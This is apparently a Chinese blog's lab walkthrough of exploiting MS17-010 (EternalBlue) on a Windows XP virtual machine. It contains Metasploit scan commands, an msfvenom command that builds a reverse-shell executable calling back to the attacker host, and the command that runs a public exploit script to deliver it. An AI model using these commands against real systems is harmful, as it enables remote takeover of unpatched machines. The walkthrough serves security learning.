MS17-010 - 永恒之蓝

2 minute read

MS17-010 - 永恒之蓝

0x00 漏洞概述

Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

0x01 影响版本

WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0

0x02 环境搭建

靶机winXP(关闭防火墙) 192.168.32.131

攻击机kali 192.168.32.128

0x03 漏洞检测

通过nmap的扫描可以看到445端口是开着的,永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞

打开msf,搜索ms17-010

选中auxiliary/scanner/smb/smb_ms17_010这个模块,扫描C断存在漏洞的主机

用到的命令:

$ msfconsole
$ search ms17-101
$ use 1
$ show options
$ set rhost 192.168.32.0/24
$ run

结果显示靶机存在漏洞

0x04 漏洞利用

但是kali自带的永恒之蓝攻击模块是针对64位系统的,而我的靶机如上图所见是32位的。然后我就自闭了,试了msf上面不同的攻击模块和不同的payload,还是获取不到shell,也参考了网上其他大佬的文章,但是看不太懂。。最后去外网搜参考了一位外国友人的文章,碰巧的是他遇到的问题和我的一模一样,于是按照这个方法成功获得了shell。

Exploiting-ms17-010-without-metasploit-win-xp-sp3

首先先下载好下面这个exploit,在这个脚本的描述里,以下windows版本都适用

https://github.com/helviojunior/MS17-010/blob/master/send_and_execute.py

Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86

然后用msf生成一个用来弹shell的可执行程序

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.32.128 LPORT=2333 -f exe -a x86 --platform windows -o ms17-010.exe

最后还需要一个mysmb.py ,不然会报错

https://github.com/worawit/MS17-010/blob/master/mysmb.py

把这三样东西放在kali中的同一个目录,提前监听2333端口,执行以下命令就可以了

$ python send_and_execute.py 192.168.32.131 ms17-010.exe